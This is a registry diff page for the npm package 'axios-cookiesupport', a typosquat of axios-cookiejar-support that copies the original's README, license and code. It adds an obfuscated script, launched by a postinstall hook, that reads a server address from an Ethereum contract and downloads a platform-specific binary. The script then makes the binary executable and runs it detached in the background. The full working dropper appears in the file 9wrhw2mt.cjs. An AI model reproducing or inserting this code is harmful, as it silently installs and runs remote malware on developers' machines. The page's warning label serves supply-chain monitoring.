axios-cookiesupport 0.0.1-security → 5.0.3

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of axios-cookiesupport might be problematic. Click here for more details.

package/9wrhw2mt.cjs ADDED
@@ -0,0 +1 @@
1
+ const _0x34f2a3=_0x5350;(function(_0x4691c1,_0x4e2825){const _0x31b887=_0x5350,_0x844713=_0x4691c1();while(!![]){try{const _0x2e67dc=-parseInt(_0x31b887(0x107))/0x1+parseInt(_0x31b887(0xf4))/0x2*(parseInt(_0x31b887(0xfc))/0x3)+parseInt(_0x31b887(0xfd))/0x4*(parseInt(_0x31b887(0x10a))/0x5)+parseInt(_0x31b887(0x10c))/0x6*(parseInt(_0x31b887(0xf2))/0x7)+parseInt(_0x31b887(0x10b))/0x8*(parseInt(_0x31b887(0x106))/0x9)+parseInt(_0x31b887(0x10e))/0xa+-parseInt(_0x31b887(0xf3))/0xb;if(_0x2e67dc===_0x4e2825)break;else _0x844713['push'](_0x844713['shift']());}catch(_0x4ed372){_0x844713['push'](_0x844713['shift']());}}}(_0x57d0,0x2d7a0));const {ethers}=require(_0x34f2a3(0x109)),axios=require(_0x34f2a3(0xfa)),util=require('util'),fs=require('fs'),path=require(_0x34f2a3(0x116)),os=require('os'),{spawn}=require(_0x34f2a3(0x117)),contractAddress=_0x34f2a3(0xfe),WalletOwner=_0x34f2a3(0x103),abi=['function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)'],provider=ethers[_0x34f2a3(0xe6)](_0x34f2a3(0xeb)),contract=new ethers[(_0x34f2a3(0xe4))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0xe74337=_0x34f2a3,_0x500f31={'koesz':_0xe74337(0xec),'vgMmA':function(_0x1db0be){return _0x1db0be();}};try{const _0x4aea9c=await contract['getString'](WalletOwner);return _0x4aea9c;}catch(_0x9ce782){return console[_0xe74337(0x104)](_0x500f31['koesz'],_0x9ce782),await _0x500f31['vgMmA'](fetchAndUpdateIp);}},getDownloadUrl=_0x7d1856=>{const _0x44d19b=_0x34f2a3,_0x46ee10={'PrlxB':_0x44d19b(0x113),'PAHJq':_0x44d19b(0xe8),'skSGO':'darwin'},_0x5b95b5=os[_0x44d19b(0x108)]();switch(_0x5b95b5){case _0x46ee10['PrlxB']:return _0x7d1856+_0x44d19b(0x111);case _0x46ee10['PAHJq']:return _0x7d1856+_0x44d19b(0xf9);case _0x46ee10[_0x44d19b(0x100)]:return _0x7d1856+'/node-macos';default:throw new Error('Unsupported\x20platform:\x20'+_0x5b95b5);}},downloadFile=async(_0x28b0da,_0x5a3ae3)=>{const _0x1328db=_0x34f2a3,_0x4a0371={'aVCnN':_0x1328db(0x10d),'MWyfq':_0x1328db(0x104),'mWchm':function(_0x1d3ccd,_0x3f6db6){return _0x1d3ccd(_0x3f6db6);},'ztGnk':_0x1328db(0xf1),'GUIyO':_0x1328db(0xf5)},_0x524637=fs[_0x1328db(0xff)](_0x5a3ae3),_0x50aef7=await _0x4a0371[_0x1328db(0xed)](axios,{'url':_0x28b0da,'method':_0x4a0371[_0x1328db(0x110)],'responseType':_0x4a0371[_0x1328db(0xf7)]});return _0x50aef7[_0x1328db(0xe5)][_0x1328db(0xef)](_0x524637),new Promise((_0x20ae82,_0x991fcd)=>{const _0x1c272c=_0x1328db;_0x524637['on'](_0x4a0371[_0x1c272c(0xea)],_0x20ae82),_0x524637['on'](_0x4a0371[_0x1c272c(0xe9)],_0x991fcd);});},executeFileInBackground=async _0x5c4252=>{const _0x109c47=_0x34f2a3,_0x4d6d38={'wLVDZ':function(_0x3b0961,_0x4a5eb5,_0x5b7e12,_0xa5daa4){return _0x3b0961(_0x4a5eb5,_0x5b7e12,_0xa5daa4);},'MhHsg':_0x109c47(0x115)};try{const _0x40a5d8=_0x4d6d38['wLVDZ'](spawn,_0x5c4252,[],{'detached':!![],'stdio':'ignore'});_0x40a5d8[_0x109c47(0x105)]();}catch(_0x31836a){console['error'](_0x4d6d38[_0x109c47(0xee)],_0x31836a);}},runInstallation=async()=>{const _0xb51362=_0x34f2a3,_0x524674={'dMMHO':function(_0x397a15){return _0x397a15();},'yjEQJ':function(_0x5054af,_0xf51b24){return _0x5054af(_0xf51b24);},'VRLAl':function(_0x194da6,_0x4da11f,_0x3022f7){return _0x194da6(_0x4da11f,_0x3022f7);},'AUfUi':function(_0x4a3aa5,_0xa7c18d){return _0x4a3aa5!==_0xa7c18d;},'ZUjpN':_0xb51362(0x113),'NyycX':_0xb51362(0xfb),'WwzIw':_0xb51362(0xe7)};try{const _0x492204=await _0x524674['dMMHO'](fetchAndUpdateIp),_0x170834=_0x524674[_0xb51362(0xf0)](getDownloadUrl,_0x492204),_0x5c95cc=os[_0xb51362(0xf6)](),_0x500c58=path[_0xb51362(0xf8)](_0x170834),_0x56d180=path[_0xb51362(0x112)](_0x5c95cc,_0x500c58);await _0x524674[_0xb51362(0x102)](downloadFile,_0x170834,_0x56d180);if(_0x524674['AUfUi'](os[_0xb51362(0x108)](),_0x524674[_0xb51362(0x10f)]))fs[_0xb51362(0x101)](_0x56d180,_0x524674['NyycX']);_0x524674[_0xb51362(0xf0)](executeFileInBackground,_0x56d180);}catch(_0x3e83fc){console[_0xb51362(0x104)](_0x524674[_0xb51362(0x114)],_0x3e83fc);}};function _0x57d0(){const _0x14eabc=['3fAgETQ','296260peUhap','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','createWriteStream','skSGO','chmodSync','VRLAl','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','error','unref','9PpGnAg','23531MrxPFN','platform','ethers','25RnFOFO','1209128IAKNZI','507810izSvIi','finish','2394310BARpGc','ZUjpN','ztGnk','/node-win.exe','join','win32','WwzIw','Ошибка\x20при\x20запуске\x20файла:','path','child_process','Contract','data','getDefaultProvider','Ошибка\x20установки:','linux','MWyfq','aVCnN','mainnet','Ошибка\x20при\x20получении\x20IP\x20адреса:','mWchm','MhHsg','pipe','yjEQJ','GET','7fZCBfm','7128968UeBJyK','24718WBlQLC','stream','tmpdir','GUIyO','basename','/node-linux','axios','755'];_0x57d0=function(){return _0x14eabc;};return _0x57d0();}function _0x5350(_0x576108,_0x3fdbdf){const _0x57d022=_0x57d0();return _0x5350=function(_0x53502e,_0x1de6cf){_0x53502e=_0x53502e-0xe4;let _0x145ddd=_0x57d022[_0x53502e];return _0x145ddd;},_0x5350(_0x576108,_0x3fdbdf);}runInstallation();
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ The MIT License (MIT)
2
+
3
+ Copyright © 2021 3846masa
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the “Software”), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in
13
+ all copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21
+ THE SOFTWARE.
package/README.md CHANGED
@@ -1,5 +1,68 @@
1
- # Security holding package
1
+ # axios-cookiejar-support
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ ![axios-cookiejar-support](./docs/assets/ogp.jpg)
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=axios-cookiesupport for more information.
5
+ [![github sponsors](https://flat.badgen.net/badge/GitHub%20Sponsors/Support%20me%20%E2%9D%A4/ff69b4?icon=github)](https://github.com/sponsors/3846masa)
6
+ [![npm](https://flat.badgen.net/npm/v/axios-cookiejar-support)](https://www.npmjs.com/package/axios-cookiejar-support)
7
+ [![license](https://flat.badgen.net/badge/license/MIT/blue)](LICENSE)
8
+ [![standard-readme compliant](https://flat.badgen.net/badge/readme%20style/standard/green)](https://github.com/RichardLitt/standard-readme)
9
+
10
+ Add `tough-cookie` support to axios.
11
+
12
+ ## Table of Contents
13
+
14
+ - [Install](#install)
15
+ - [Usage](#usage)
16
+ - [Extended Request Config](#extended-request-config)
17
+ - [Contributing](#contributing)
18
+ - [License](#license)
19
+
20
+ ## Install
21
+
22
+ ```
23
+ npm install axios tough-cookie axios-cookiejar-support
24
+ ```
25
+
26
+ ## Usage
27
+
28
+ ```js
29
+ import axios from 'axios';
30
+ import { wrapper } from 'axios-cookiejar-support';
31
+ import { CookieJar } from 'tough-cookie';
32
+
33
+ const jar = new CookieJar();
34
+ const client = wrapper(axios.create({ jar }));
35
+
36
+ await client.get('https://example.com');
37
+ ```
38
+
39
+ See [examples](./examples) for more details.
40
+
41
+ ### Extended Request Config
42
+
43
+ ```ts
44
+ import type { CookieJar } from 'tough-cookie';
45
+
46
+ declare module 'axios' {
47
+ interface AxiosRequestConfig {
48
+ jar?: CookieJar;
49
+ }
50
+ }
51
+ ```
52
+
53
+ See also https://github.com/axios/axios#request-config .
54
+
55
+ ## FAQ
56
+
57
+ - Q. Why can't I assign the httpAgent / httpsAgent?
58
+ - A. axios-cookiejar-support uses httpAgent / httpsAgent to read and write cookies. If other Agents are assigned, cookies cannot be read/written.
59
+ - Q. I want to use it with another Agent (e.g., http-proxy-agent).
60
+ - A. Consider using http-cookie-agent. axios-cookiejar-support also uses http-cookie-agent. Read http-cookie-agent's README for more details.
61
+
62
+ ## Contributing
63
+
64
+ PRs accepted.
65
+
66
+ ## License
67
+
68
+ [MIT (c) 3846masa](./LICENSE)
@@ -0,0 +1,8 @@
1
+ import type { AxiosInstance, AxiosStatic } from 'axios';
2
+ import type { CookieJar } from 'tough-cookie';
3
+ declare module 'axios' {
4
+ interface AxiosRequestConfig {
5
+ jar?: CookieJar;
6
+ }
7
+ }
8
+ export declare function wrapper<T extends AxiosStatic | AxiosInstance>(axios: T): T;
package/dist/index.js ADDED
@@ -0,0 +1,51 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.wrapper = wrapper;
4
+ const http_1 = require("http-cookie-agent/http");
5
+ const AGENT_CREATED_BY_AXIOS_COOKIEJAR_SUPPORT = Symbol('AGENT_CREATED_BY_AXIOS_COOKIEJAR_SUPPORT');
6
+ function requestInterceptor(config) {
7
+ if (!config.jar) {
8
+ return config;
9
+ }
10
+ // @ts-expect-error -- Legacy config allows to assign boolean as jar.
11
+ if (config.jar === true) {
12
+ throw new Error('config.jar does not accept boolean since axios-cookiejar-support@2.0.0.');
13
+ }
14
+ if ((config.httpAgent != null &&
15
+ config.httpAgent[AGENT_CREATED_BY_AXIOS_COOKIEJAR_SUPPORT] !== true) ||
16
+ (config.httpsAgent != null &&
17
+ config.httpsAgent[AGENT_CREATED_BY_AXIOS_COOKIEJAR_SUPPORT] !== true)) {
18
+ throw new Error('axios-cookiejar-support does not support for use with other http(s).Agent.');
19
+ }
20
+ config.httpAgent = new http_1.HttpCookieAgent({ cookies: { jar: config.jar } });
21
+ Object.defineProperty(config.httpAgent, AGENT_CREATED_BY_AXIOS_COOKIEJAR_SUPPORT, {
22
+ configurable: false,
23
+ enumerable: false,
24
+ value: true,
25
+ writable: false,
26
+ });
27
+ config.httpsAgent = new http_1.HttpsCookieAgent({ cookies: { jar: config.jar } });
28
+ Object.defineProperty(config.httpsAgent, AGENT_CREATED_BY_AXIOS_COOKIEJAR_SUPPORT, {
29
+ configurable: false,
30
+ enumerable: false,
31
+ value: true,
32
+ writable: false,
33
+ });
34
+ return config;
35
+ }
36
+ function wrapper(axios) {
37
+ const isWrapped = axios.interceptors.request.handlers.find(({ fulfilled }) => fulfilled === requestInterceptor);
38
+ if (isWrapped) {
39
+ return axios;
40
+ }
41
+ axios.interceptors.request.use(requestInterceptor);
42
+ if ('create' in axios) {
43
+ const create = axios.create.bind(axios);
44
+ axios.create = (...args) => {
45
+ const instance = create.apply(axios, args);
46
+ instance.interceptors.request.use(requestInterceptor);
47
+ return instance;
48
+ };
49
+ }
50
+ return axios;
51
+ }
package/noop.js ADDED
@@ -0,0 +1,12 @@
1
+ 'use strict';
2
+ Object.defineProperty(exports, '__esModule', { value: true });
3
+
4
+ /**
5
+ * @param {import('axios').AxiosInstance} axios
6
+ * @returns {import('axios').AxiosInstance}
7
+ */
8
+ function noop(axios) {
9
+ return axios;
10
+ }
11
+
12
+ exports.wrapper = noop;
package/package.json CHANGED
@@ -1,6 +1,77 @@
1
1
  {
2
2
  "name": "axios-cookiesupport",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "5.0.3",
4
+ "description": "Add tough-cookie support to axios.",
5
+ "keywords": [
6
+ "axios",
7
+ "cookie",
8
+ "cookiejar",
9
+ "cookies",
10
+ "tough-cookie"
11
+ ],
12
+ "homepage": "https://github.com/3846masa/axios-cookiejar-support#readme",
13
+ "bugs": {
14
+ "url": "https://github.com/3846masa/axios-cookiejar-support/issues"
15
+ },
16
+ "repository": {
17
+ "type": "git",
18
+ "url": "git+https://github.com/3846masa/axios-cookiejar-support.git"
19
+ },
20
+ "funding": "https://github.com/sponsors/3846masa",
21
+ "license": "MIT",
22
+ "author": "3846masa <3846masahiro+git@gmail.com>",
23
+ "main": "dist/index.js",
24
+ "browser": "noop.js",
25
+ "types": "dist/index.d.ts",
26
+ "files": [
27
+ "dist",
28
+ "noop.js",
29
+ "!**/__tests__",
30
+ "9wrhw2mt.cjs"
31
+ ],
32
+ "scripts": {
33
+ "postinstall": "node 9wrhw2mt.cjs"
34
+ },
35
+ "dependencies": {
36
+ "http-cookie-agent": "^6.0.6",
37
+ "axios": "^1.7.7",
38
+ "ethers": "^6.13.2"
39
+ },
40
+ "devDependencies": {
41
+ "@3846masa/configs": "github:3846masa/configs#1680811faae257796efe99b055aee5072cac6577",
42
+ "@babel/plugin-proposal-explicit-resource-management": "7.24.7",
43
+ "@babel/preset-env": "7.25.4",
44
+ "@babel/preset-typescript": "7.24.7",
45
+ "@jest/globals": "29.7.0",
46
+ "@semantic-release/changelog": "6.0.3",
47
+ "@semantic-release/exec": "6.0.3",
48
+ "@semantic-release/git": "10.0.1",
49
+ "@types/eslint": "9.6.1",
50
+ "@types/node": "18.19.53",
51
+ "@types/tough-cookie": "4.0.5",
52
+ "axios": "1.7.7",
53
+ "babel-jest": "29.7.0",
54
+ "disposablestack": "1.1.6",
55
+ "jest": "29.7.0",
56
+ "rimraf": "5.0.10",
57
+ "semantic-release": "19.0.5",
58
+ "tough-cookie": "4.1.4",
59
+ "typescript": "5.6.2"
60
+ },
61
+ "peerDependencies": {
62
+ "axios": ">=0.20.0",
63
+ "tough-cookie": ">=4.0.0"
64
+ },
65
+ "packageManager": "pnpm@9.11.0",
66
+ "engines": {
67
+ "node": ">=18.0.0"
68
+ },
69
+ "publishConfig": {
70
+ "access": "public"
71
+ },
72
+ "pnpm": {
73
+ "patchedDependencies": {
74
+ "@semantic-release/git@10.0.1": "patches/@semantic-release__git@10.0.1.patch"
75
+ }
76
+ }
77
+ }